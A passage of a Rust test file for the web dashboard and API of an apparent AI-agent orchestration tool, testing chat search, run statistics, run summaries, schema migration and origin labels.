19436 talk.title = Some(talk::ChatTitle {
19437 text: "運用について".into(),
19438 source: talk::TitleSource::Manual,
19439 });
19440 assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19441 }
19442
19443 #[tokio::test]
19444 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19445 let f = Fixture::start().await;
19446 write_talk(
19447 &f,
19448 "20260901-000001-aaaa",
19449 "open",
19450 &[
19451 (
19452 "operator",
19453 "\n Why does the Pangolin cache expire?\nsecond line",
19454 ),
19455 ("agent", "Because the TTL is thirty seconds."),
19456 ],
19457 );
19458 write_talk(
19459 &f,
19460 "20260901-000002-bbbb",
19461 "closed",
19462 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19463 );
19464 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19465
19466 let search = |q: &'static str| {
19467 let f = &f;
19468 async move {
19469 f.get(&format!("/api/search?scope=chats&q={q}"))
19470 .await
19471 .json()
19472 }
19473 };
19474
19475 let v = search("PANGOLIN").await;
19476 assert_eq!(v["scope"], "chats");
19477 assert_eq!(v["total"], 1, "{v}");
19478 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19479 assert_eq!(v["hits"][0]["field"], "title");
19480 assert_eq!(v["unreadable"], 1, "{v}");
19481 let marked: Vec<&str> = v["hits"][0]["snippet"]
19482 .as_array()
19483 .unwrap()
19484 .iter()
19485 .filter(|p| p["hit"] == true)
19486 .map(|p| p["text"].as_str().unwrap())
19487 .collect();
19488 assert_eq!(marked, ["Pangolin"]);
19489
19490 let v = search("zebra").await;
19492 assert_eq!(v["total"], 1, "{v}");
19493 assert_eq!(v["hits"][0]["field"], "agent");
19494 assert_eq!(search("pangolin%20thirty").await["total"], 1);
19496 assert_eq!(search("pangolin%20zebra").await["total"], 0);
19497 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19499 assert_eq!(search(q).await["total"], 0, "{q}");
19500 }
19501 assert_eq!(search("second").await["hits"][0]["field"], "operator");
19503 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19505
19506 let v = f.get("/api/search?scope=nope&q=a").await;
19507 assert_eq!(v.status, 400);
19508 assert!(
19509 v.body.contains("scope must be runs, tasks or chats"),
19510 "{}",
19511 v.body
19512 );
19513 }
19514
19515 #[test]
19516 fn a_question_card_links_a_task_id_to_the_task_page() {
19517 let start = APP_JS
19518 .find("function updateAskCard(")
19519 .expect("updateAskCard exists");
19520 let body = &APP_JS[start..];
19521 let body = &body[..body.find("\n}\n").expect("function end")];
19522 assert!(body.contains("question.run_is_task"));
19523 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19524 assert!(body.contains("`#/runs/${question.run}`"));
19525 assert!(body.contains("\"task\" : \"run\""));
19526 }
19527
19528 #[test]
19529 fn plain_text_message_surfaces_go_through_linkify() {
19530 assert!(APP_JS.contains("function linkify("));
19531 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19532 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19533 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19534 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19535 assert!(!APP_JS.contains("innerHTML = text"));
19536 }
19537
19538 #[test]
19539 fn implementation_rate_views_keep_independent_samples() {
19540 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19541 let a = stats::AgentStats {
19542 competitive_entered: competitive_n,
19543 competitive_wins: usize::from(competitive_n > 0),
19544 solo_entered: solo_n,
19545 solo_adopted: 2 * usize::from(solo_n > 0),
19546 ..Default::default()
19547 };
19548 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19549 for (key, n, numerator) in [
19550 ("competitive_win_rate", competitive_n, a.competitive_wins),
19551 ("solo_adoption_rate", solo_n, a.solo_adopted),
19552 ] {
19553 if n == 0 {
19554 assert!(v[key].is_null());
19555 } else {
19556 assert_eq!(v[key]["denominator"], n);
19557 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19558 }
19559 }
19560 }
19561 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19562 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19563 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19564 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19565 }
19566
19567 #[test]
19568 fn stats_bars_share_one_id_keyed_plan() {
19569 let start = APP_JS
19570 .find("function statsBarRows(")
19571 .expect("statsBarRows exists");
19572 let body = &APP_JS[start..];
19573 let body = &body[..body.find("\n}\n").expect("function end")];
19574 assert!(body.contains("statsBarPlan(rows)"));
19575 assert!(body.contains("statsAgentTone(row.agent)"));
19576 assert!(!body.contains("candTone(i)"));
19577 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19578 for root in [
19579 "stats-agents-bars",
19580 "stats-solo-bars",
19581 "stats-reviewers-bars",
19582 ] {
19583 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19584 }
19585 }
19586
19587 #[test]
19588 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19589 let start = APP_JS
19590 .find("function renderStatsReviewerScatter(")
19591 .expect("renderStatsReviewerScatter exists");
19592 let body = &APP_JS[start..];
19593 let body = &body[..body.find("\n}\n").expect("function end")];
19594 assert!(body.contains("statsScatterPlan(reviewers)"));
19595 assert!(body.contains("statsAgentTone(d.agent)"));
19596 assert!(APP_JS.contains("function statsScatterPlan("));
19597 assert!(
19598 APP_JS.contains("d.submitted < STATS_LOW_N")
19599 || APP_JS.contains("r.submitted < STATS_LOW_N")
19600 );
19601 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19602 assert!(APP_CSS.contains(".precision-scatter"));
19603 }
19604
19605 #[test]
19606 fn advisor_reflection_is_drawn_as_stacked_segments() {
19607 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19608 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19609 let html = include_str!("../assets/ui/index.html");
19610 assert!(html.contains("Approximate"));
19611 for label in ["reflected strongly", "faint", "no proposal"] {
19612 assert!(html.contains(label));
19613 }
19614 let css = include_str!("../assets/ui/app.css");
19615 for c in ["refl-strong", "refl-faint", "refl-absent"] {
19616 assert!(css.contains(&format!(".{c} {{")));
19617 }
19618 }
19619
19620 #[test]
19621 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19622 assert!(APP_JS.contains("function statsDailyPlan("));
19623 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19624 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19625 }
19626
19627 #[test]
19628 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19629 let start = APP_JS
19630 .find("function scheduleSearch(")
19631 .expect("scheduleSearch exists");
19632 let body = &APP_JS[start..];
19633 let body = &body[..body.find("\n}\n").expect("function end")];
19634 assert!(body.contains("s.seq += 1"));
19635 }
19636
19637 #[tokio::test]
19642 async fn stats_runs_unreadable_matches_health() {
19643 let f = Fixture::start().await;
19644 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19645 let broken = f.runs().join("20260902-140502-bad");
19646 std::fs::create_dir_all(&broken).expect("run dir");
19647 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19648
19649 let stats = f.get("/api/stats").await;
19650 let health = f.get("/api/health").await;
19651
19652 assert_eq!(stats.status, 200);
19653 assert_eq!(stats.json()["totals"]["runs"], 1);
19654 assert_eq!(stats.json()["runs_unreadable"], 1);
19655 assert_eq!(
19656 stats.json()["runs_unreadable"],
19657 health.json()["runs_unreadable"],
19658 "the dashboard and /api/health must never disagree about how many \
19659 runs could not be read"
19660 );
19661 }
19662
19663 #[tokio::test]
19664 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19665 let f = Fixture::start().await;
19666 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19667 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19668 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19669
19670 let totals = &f.get("/api/stats").await.json()["totals"];
19671 assert_eq!(totals["runs"], 3);
19672 assert_eq!(totals["merged"], 1);
19673 assert_eq!(totals["stalled"], 1);
19674 assert_eq!(totals["in_progress"], 1);
19675 assert_eq!(totals["blocked"], 0);
19678 assert_eq!(totals["ready"], 0);
19679 }
19680
19681 #[tokio::test]
19682 async fn stats_advisors_report_proposals_and_reflection() {
19683 use crate::advise::{Advice, AdvisorRecord, Reflection};
19684 use crate::verdict::Proposal;
19685
19686 let f = Fixture::start().await;
19687 let mut state = RunState::new(
19688 PathBuf::from("/repo/magi"),
19689 "main".to_owned(),
19690 "0123456789abcdef".to_owned(),
19691 "task".to_owned(),
19692 Config::default(),
19693 );
19694 state.id = "20260902-140501-a".to_owned();
19695 state.status = RunStatus::Merged;
19696 state.advice = Some(Advice {
19697 records: vec![
19698 AdvisorRecord {
19699 seat: "advisor-1".to_owned(),
19700 agent: "alpha".to_owned(),
19701 proposal: Some(Proposal {
19702 approach: "do it".to_owned(),
19703 key_tradeoff: "speed over memory".to_owned(),
19704 risks: Vec::new(),
19705 touches: Vec::new(),
19706 why_not_naive: "breaks under load".to_owned(),
19707 }),
19708 error: None,
19709 duration_ms: 0,
19710 reflection: Reflection::Strong,
19711 },
19712 AdvisorRecord {
19713 seat: "advisor-2".to_owned(),
19714 agent: "alpha".to_owned(),
19715 proposal: None,
19716 error: Some("timed out".to_owned()),
19717 duration_ms: 0,
19718 reflection: Reflection::Absent,
19719 },
19720 ],
19721 synthesis: Some("blended brief".to_owned()),
19722 });
19723 let dir = f.runs().join(&state.id);
19724 std::fs::create_dir_all(&dir).expect("run dir");
19725 std::fs::write(
19726 dir.join("run.json"),
19727 serde_json::to_string_pretty(&state).expect("serialize run"),
19728 )
19729 .expect("write run.json");
19730
19731 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19733 let alpha = advisors
19734 .as_array()
19735 .expect("an array")
19736 .iter()
19737 .find(|a| a["agent"] == "alpha")
19738 .expect("alpha row");
19739 assert_eq!(alpha["seated"], 2);
19740 assert_eq!(alpha["proposed"], 1);
19741 assert_eq!(alpha["absent"], 1);
19742 assert_eq!(alpha["strong"], 1);
19743 assert_eq!(alpha["faint"], 0);
19744 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19745 }
19746
19747 #[tokio::test]
19748 async fn stats_hides_agents_outside_the_roster_unless_all() {
19749 use crate::run::Candidate;
19750 let repo = TempDir::new().expect("repo dir");
19751 std::fs::write(
19752 repo.path().join("magi.toml"),
19753 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19754 )
19755 .expect("magi.toml");
19756 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19757 let mut state = RunState::new(
19758 PathBuf::from("/repo/magi"),
19759 "main".to_owned(),
19760 "0123456789abcdef".to_owned(),
19761 "task".to_owned(),
19762 Config::default(),
19763 );
19764 state.id = "20260902-140501-a".to_owned();
19765 state.status = RunStatus::Merged;
19766 for (label, agent) in [('A', "keep"), ('B', "retired")] {
19767 let mut c: Candidate = serde_json::from_value(serde_json::json!({
19768 "index": 0, "label": label.to_string(), "agent": agent,
19769 "branch": "b", "worktree": "/w",
19770 }))
19771 .expect("candidate");
19772 c.label = label;
19773 state.candidates.push(c);
19774 }
19775 let dir = f.runs().join(&state.id);
19776 std::fs::create_dir_all(&dir).expect("run dir");
19777 std::fs::write(
19778 dir.join("run.json"),
19779 serde_json::to_string_pretty(&state).expect("serialize run"),
19780 )
19781 .expect("write run.json");
19782
19783 let agents_of = |v: &serde_json::Value| -> Vec<String> {
19784 v["agents"]
19785 .as_array()
19786 .expect("array")
19787 .iter()
19788 .map(|a| a["agent"].as_str().unwrap().to_owned())
19789 .collect()
19790 };
19791 let hidden = f.get("/api/stats").await.json();
19792 assert_eq!(agents_of(&hidden), ["keep"]);
19793 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19794 assert_eq!(hidden["totals"]["runs"], 1);
19795
19796 let all = f.get("/api/stats?all=true").await.json();
19797 assert_eq!(agents_of(&all).len(), 2);
19798 assert_eq!(all["retired_hidden"], serde_json::json!([]));
19799 let keep_agent = all["agents"]
19801 .as_array()
19802 .unwrap()
19803 .iter()
19804 .find(|a| a["agent"] == "keep")
19805 .unwrap();
19806 assert_eq!(keep_agent["competitive_entered"], 1);
19807 assert_eq!(keep_agent["competitive_wins"], 0);
19808 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19809 assert_eq!(keep_agent["solo_entered"], 0);
19810 assert_eq!(keep_agent["solo_adopted"], 0);
19811 assert!(keep_agent["solo_adoption_rate"].is_null());
19812 }
19813
19814 #[tokio::test]
19815 async fn stats_release_bumps_split_clean_from_attention() {
19816 use crate::run::ReleaseBump;
19817
19818 let f = Fixture::start().await;
19819
19820 let mut clean = RunState::new(
19821 PathBuf::from("/repo/magi"),
19822 "main".to_owned(),
19823 "0123456789abcdef".to_owned(),
19824 "task".to_owned(),
19825 Config::default(),
19826 );
19827 clean.id = "20260902-140501-a".to_owned();
19828 clean.status = RunStatus::Merged;
19829 clean.release_bump = Some(ReleaseBump {
19830 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19831 version: Some("1.0.0".to_owned()),
19832 automerge_enabled: true,
19833 merged_directly: false,
19834 local: false,
19835 release: None,
19836 problem: None,
19837 action_required: None,
19838 skipped: None,
19839 });
19840
19841 let mut blocked = RunState::new(
19842 PathBuf::from("/repo/magi"),
19843 "main".to_owned(),
19844 "0123456789abcdef".to_owned(),
19845 "task".to_owned(),
19846 Config::default(),
19847 );
19848 blocked.id = "20260902-140502-b".to_owned();
19849 blocked.status = RunStatus::Merged;
19850 blocked.release_bump = Some(ReleaseBump {
19851 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19852 version: Some("1.0.1".to_owned()),
19853 automerge_enabled: false,
19854 merged_directly: false,
19855 local: false,
19856 release: None,
19857 problem: Some("checks red".to_owned()),
19858 action_required: Some("look at the PR".to_owned()),
19859 skipped: None,
19860 });
19861
19862 for state in [&clean, &blocked] {
19863 let dir = f.runs().join(&state.id);
19864 std::fs::create_dir_all(&dir).expect("run dir");
19865 std::fs::write(
19866 dir.join("run.json"),
19867 serde_json::to_string_pretty(state).expect("serialize run"),
19868 )
19869 .expect("write run.json");
19870 }
19871
19872 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19873 assert_eq!(bumps["merged"], 2);
19874 assert_eq!(bumps["recorded"], 2);
19875 assert_eq!(bumps["pr_opened"], 2);
19876 assert_eq!(bumps["automerge_enabled"], 1);
19877 assert_eq!(bumps["needs_attention"], 1);
19878 assert_eq!(bumps["clean"], 1);
19879 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19880 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19881 }
19882
19883 #[tokio::test]
19884 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19885 let f = Fixture::start().await;
19886 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19887
19888 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19889 assert_eq!(bumps["merged"], 1);
19890 assert_eq!(bumps["recorded"], 0);
19891 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19894 assert_eq!(bumps["automerge_rate"], Value::Null);
19897 assert_eq!(bumps["attention_rate"], Value::Null);
19898 }
19899
19900 #[tokio::test]
19901 async fn stats_queue_counts_come_from_the_live_queue() {
19902 let f = Fixture::start().await;
19903 let q = f.queue();
19904 let mut queued = Task::new(
19905 "queued task".to_owned(),
19906 "do it".to_owned(),
19907 PathBuf::from("/repo"),
19908 Source::Human,
19909 );
19910 q.put(&mut queued).expect("put queued");
19911 let mut held = Task::new(
19912 "held task".to_owned(),
19913 "do it later".to_owned(),
19914 PathBuf::from("/repo"),
19915 Source::Human,
19916 );
19917 held.hold_machine(Some("out of attempts".to_owned()));
19918 q.put(&mut held).expect("put held");
19919
19920 let queue = f.get("/api/stats").await.json()["queue"].clone();
19921 assert_eq!(queue["queued"], 1);
19922 assert_eq!(queue["held"], 1);
19923 assert_eq!(queue["running"], 0);
19924 assert_eq!(queue["done"], 0);
19925 assert_eq!(queue["failed"], 0);
19926 assert_eq!(queue["blocked"], 0);
19927 }
19928
19929 #[tokio::test]
19930 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19931 let f = Fixture::start().await;
19932 let stats = f.get("/api/stats").await;
19933 assert_eq!(stats.status, 200);
19934 assert_eq!(stats.json()["totals"]["runs"], 0);
19935 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19936 assert_eq!(stats.json()["runs_unreadable"], 0);
19937 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19938 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19939 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19940 assert_eq!(stats.json()["repo"], Value::Null);
19941 }
19942
19943 #[tokio::test]
19944 async fn stats_lists_every_repository_with_runs_recorded() {
19945 let f = Fixture::start().await;
19946 write_run_repo(
19947 &f.runs(),
19948 "20260902-140501-a",
19949 RunStatus::Merged,
19950 "/repos/a",
19951 );
19952 write_run_repo(
19953 &f.runs(),
19954 "20260902-140502-b",
19955 RunStatus::Merged,
19956 "/repos/a",
19957 );
19958 write_run_repo(
19959 &f.runs(),
19960 "20260902-140503-c",
19961 RunStatus::Blocked,
19962 "/repos/b",
19963 );
19964
19965 let stats = f.get("/api/stats").await;
19966 assert_eq!(stats.status, 200);
19967 assert_eq!(stats.json()["totals"]["runs"], 3);
19969 assert_eq!(stats.json()["repo"], Value::Null);
19970
19971 let repos = stats.json()["repos"].clone();
19972 let repos = repos.as_array().unwrap();
19973 assert_eq!(repos.len(), 2);
19974 assert_eq!(repos[0]["repo"], "/repos/a");
19976 assert_eq!(repos[0]["name"], "a");
19977 assert_eq!(repos[0]["runs"], 2);
19978 assert_eq!(repos[1]["repo"], "/repos/b");
19979 assert_eq!(repos[1]["runs"], 1);
19980 }
19981
19982 #[tokio::test]
19983 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19984 let f = Fixture::start().await;
19985 write_run_repo(
19986 &f.runs(),
19987 "20260902-140501-a",
19988 RunStatus::Merged,
19989 "/repos/a",
19990 );
19991 write_run_repo(
19992 &f.runs(),
19993 "20260902-140502-b",
19994 RunStatus::Blocked,
19995 "/repos/b",
19996 );
19997
19998 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19999 assert_eq!(stats.status, 200);
20000 assert_eq!(stats.json()["totals"]["runs"], 1);
20001 assert_eq!(stats.json()["totals"]["merged"], 1);
20002 assert_eq!(stats.json()["repo"], "/repos/a");
20003 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20006 assert_eq!(stats.json()["runs_unreadable"], 0);
20009 }
20010
20011 #[tokio::test]
20012 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20013 let f = Fixture::start().await;
20014 write_run_repo(
20015 &f.runs(),
20016 "20260902-140501-a",
20017 RunStatus::Merged,
20018 "/repos/a",
20019 );
20020 write_run_repo(
20021 &f.runs(),
20022 "20260902-140502-b",
20023 RunStatus::Merged,
20024 "/repos/b",
20025 );
20026
20027 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20028 let json = f.get(uri).await.json();
20029 let daily = json["daily"].as_array().expect("daily is an array");
20030 assert_eq!(daily.len(), 30);
20031 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20032 let mut sorted = dates.clone();
20033 sorted.sort();
20034 assert_eq!(dates, sorted);
20035 for d in daily {
20036 assert_eq!(
20037 d["merged"].as_u64().unwrap()
20038 + d["ready"].as_u64().unwrap()
20039 + d["other"].as_u64().unwrap(),
20040 d["runs"].as_u64().unwrap()
20041 );
20042 }
20043 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20044 }
20045 }
20046
20047 #[tokio::test]
20048 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20049 let f = Fixture::start().await;
20050 write_run_repo(
20051 &f.runs(),
20052 "20260902-140501-a",
20053 RunStatus::Merged,
20054 "/repos/a",
20055 );
20056
20057 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20058 assert_eq!(stats.status, 404);
20059 }
20060
20061 #[tokio::test]
20062 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20063 let f = Fixture::start().await;
20064 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20065
20066 let summary = f.get("/api/runs").await.json();
20067 let row = &summary[0];
20068 assert_eq!(row["short"], "a1b2");
20069 assert_eq!(row["status"], "ready");
20070 assert_eq!(row["done"], true);
20071 assert_eq!(row["title"], "Add a web UI");
20072 assert_eq!(row["repo_name"], "magi");
20073 assert_eq!(row["judges"], 3);
20074 assert_eq!(row["winner"], Value::Null);
20075 assert_eq!(row["reviews"], 0);
20076
20077 let detail = f.get("/api/runs/a1b2").await;
20080 assert_eq!(detail.status, 200);
20081 assert_eq!(detail.json()["base_branch"], "main");
20082 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20083 }
20084
20085 #[tokio::test]
20093 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20094 let f = Fixture::start().await;
20095
20096 let mut none_run = RunState::new(
20097 PathBuf::from("/repo/magi"),
20098 "main".to_owned(),
20099 "0123456789abcdef".to_owned(),
20100 "Add a web UI".to_owned(),
20101 Config::default(),
20102 );
20103 none_run.id = "20260902-140503-none".to_owned();
20104 none_run.status = RunStatus::Ready;
20105 none_run.merge = Some(crate::run::MergeOutcome {
20106 mode: crate::config::MergeMode::None,
20107 ok: true,
20108 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20109 empty: false,
20110 });
20111 write_state(&f.runs(), &none_run);
20112
20113 let mut pr_run = RunState::new(
20114 PathBuf::from("/repo/magi"),
20115 "main".to_owned(),
20116 "0123456789abcdef".to_owned(),
20117 "Add a web UI".to_owned(),
20118 Config::default(),
20119 );
20120 pr_run.id = "20260902-140504-prcl".to_owned();
20121 pr_run.status = RunStatus::Ready;
20122 pr_run.merge = Some(crate::run::MergeOutcome {
20123 mode: crate::config::MergeMode::Pr,
20124 ok: false,
20125 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20126 empty: false,
20127 });
20128 write_state(&f.runs(), &pr_run);
20129
20130 let summary = f.get("/api/runs").await.json();
20131 let rows: std::collections::HashMap<&str, &Value> = summary
20132 .as_array()
20133 .expect("an array")
20134 .iter()
20135 .map(|r| (r["id"].as_str().expect("an id"), r))
20136 .collect();
20137 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20138 assert_eq!(
20139 rows[none_run.id.as_str()]["unmerged_by_design"],
20140 true,
20141 "a mode-none Ready must be flagged in the list"
20142 );
20143 assert_eq!(
20144 rows[pr_run.id.as_str()]["unmerged_by_design"],
20145 false,
20146 "a Ready reached by a closed pull request is a different case"
20147 );
20148
20149 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20150 assert_eq!(none_detail["status"], "ready");
20151 assert_eq!(none_detail["unmerged_by_design"], true);
20152
20153 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20154 assert_eq!(pr_detail["unmerged_by_design"], false);
20155 }
20156
20157 #[tokio::test]
20162 async fn run_core_survives_unavailable_related_stores() {
20163 let home = TempDir::new().unwrap();
20164 let ui = delta_test_ui(home.path());
20165 let state = RunState::new(
20166 PathBuf::from("/repo/magi"),
20167 "main".into(),
20168 "0123456789abcdef".into(),
20169 "Useful core instructions".into(),
20170 Config::default(),
20171 );
20172 let dir = ui.runs.join(&state.id);
20173 std::fs::create_dir_all(&dir).unwrap();
20174 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20175 std::fs::write(ui.questions.root(), "unavailable").unwrap();
20176 std::fs::write(ui.queue.root(), "unavailable").unwrap();
20177 let core = run_core(State(ui.clone()), Path(state.id.clone()))
20178 .await
20179 .unwrap()
20180 .0;
20181 assert_eq!(core.state.instruction, state.instruction);
20182 assert_eq!(core.state.updated_at, state.updated_at);
20183 assert!(core.task.is_none());
20184 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20185 }
20186
20187 #[tokio::test]
20188 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20189 let f = Fixture::start().await;
20190 let id = "20260902-140502-bbbb";
20194 let mut state = RunState::new(
20195 PathBuf::from("/repo/magi"),
20196 "main".to_owned(),
20197 "0123456789abcdef".to_owned(),
20198 "Add a web UI".to_owned(),
20199 Config::default(),
20200 );
20201 state.id = id.to_owned();
20202 state.status = RunStatus::Judging;
20203 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20204 let dir = f.runs().join(id);
20205 std::fs::create_dir_all(&dir).expect("run dir");
20206 std::fs::write(
20207 dir.join("run.json"),
20208 serde_json::to_string_pretty(&state).expect("serialize run"),
20209 )
20210 .expect("write run.json");
20211
20212 let cold = f.get(&format!("/api/runs/{id}")).await.json();
20218 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20219 assert_eq!(cold["live"], "unknown", "{cold}");
20220
20221 write_daemon(f.home.path(), Timestamp::now());
20224 let warm = f.get(&format!("/api/runs/{id}")).await.json();
20225 assert_eq!(warm["live"], "live", "{warm}");
20226 }
20227
20228 #[test]
20229 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20230 let home = tempfile::tempdir().expect("temp home");
20231 let runs = home.path().join("runs");
20232 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20233 let mut state = RunState::new(
20234 PathBuf::from("/repo/magi"),
20235 "main".to_owned(),
20236 "0123456789abcdef".to_owned(),
20237 "Generated review context, not authored task criteria".to_owned(),
20238 Config::default(),
20239 );
20240 state.origin = origin;
20241 state.status = RunStatus::Blocked;
20242 state.driver_exited = false;
20244 state.gate_ran = true;
20245 let expected = serde_json::to_value(&state).expect("serialize current state");
20246 let mut legacy = expected.clone();
20247 legacy["schema"] = serde_json::json!(13);
20248 legacy.as_object_mut().unwrap().remove("task_instruction");
20249 let dir = runs.join(&state.id);
20250 std::fs::create_dir_all(&dir).expect("run dir");
20251 let path = dir.join("run.json");
20252 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20253 std::fs::write(&path, &body).expect("write legacy run");
20254
20255 for loaded in [
20256 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20257 read_run(&runs, &state.id).expect("web migration"),
20258 ] {
20259 assert_eq!(loaded.schema, crate::run::SCHEMA);
20260 assert!(loaded.task_instruction.is_none());
20261 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20262 }
20263 assert_eq!(runs_unreadable(&runs), 0);
20264 assert_eq!(std::fs::read(&path).unwrap(), body);
20265 }
20266 }
20267
20268 #[tokio::test]
20271 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20272 let f = Fixture::start().await;
20273 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20274 let mut state = RunState::new(
20275 PathBuf::from("/repo/magi"),
20276 "main".to_owned(),
20277 "0123456789abcdef".to_owned(),
20278 "Add a web UI".to_owned(),
20279 Config::default(),
20280 );
20281 state.id = id.to_owned();
20282 state.origin = origin;
20283 let mut value = serde_json::to_value(&state).expect("serialize run");
20284 if let Some(schema) = schema {
20285 value["schema"] = serde_json::json!(schema);
20286 value.as_object_mut().unwrap().remove("origin");
20287 }
20288 let dir = f.runs().join(id);
20289 std::fs::create_dir_all(&dir).expect("run dir");
20290 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20291 };
20292 write(
20293 "20260930-092817-ec34",
20294 Some(crate::run::Origin::from_agent_env(
20295 Some(("4a7b".to_owned(), "chat".to_owned())),
20296 None,
20297 )),
20298 None,
20299 );
20300 write("20260930-092817-0ld1", None, Some(12));
20301
20302 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20303 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20304 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20305
20306 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20307 assert_eq!(
20308 old["origin_label"], "origin unknown (started before origins were recorded)",
20309 "{old}"
20310 );
20311 assert!(old["origin"].is_null(), "{old}");
20312
20313 let list = f.get("/api/runs").await.json();
20314 let labels: Vec<_> = list
20315 .as_array()
20316 .unwrap()
20317 .iter()
20318 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20319 .collect();
20320 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20321 }
20322
20323 #[tokio::test]
20324 async fn run_progress_observation_exposes_activity_without_control_evidence() {
20325 let f = Fixture::start().await;
20326 let mut state = RunState::new(
20327 PathBuf::from("/repo"),
20328 "main".into(),
20329 "abc".into(),
20330 "task".into(),
20331 Config::default(),
20332 );
20333 state.status = RunStatus::Implementing;
20334 state.seat_started(
20335 "implement",
20336 "implement-A",
20337 std::time::Duration::from_secs(60),
20338 0,
20339 );
20340 state.save_under(f.home.path()).unwrap();
20341 let observed = f
20342 .get(&format!("/api/runs/{}/progress", state.id))
20343 .await
20344 .json();
20345 assert_eq!(observed["id"], state.id);
20346 assert!(observed["observed_at"].is_string());
20347 assert_eq!(observed["updated_at"], state.updated_at.to_string());
20348 assert!(observed["progress"]["activity"].is_string());
20349 for field in [
20350 "config",
20351 "candidates",
20352 "land_approval",
20353 "task",
20354 "waiting",
20355 "done",
20356 ] {
20357 assert!(
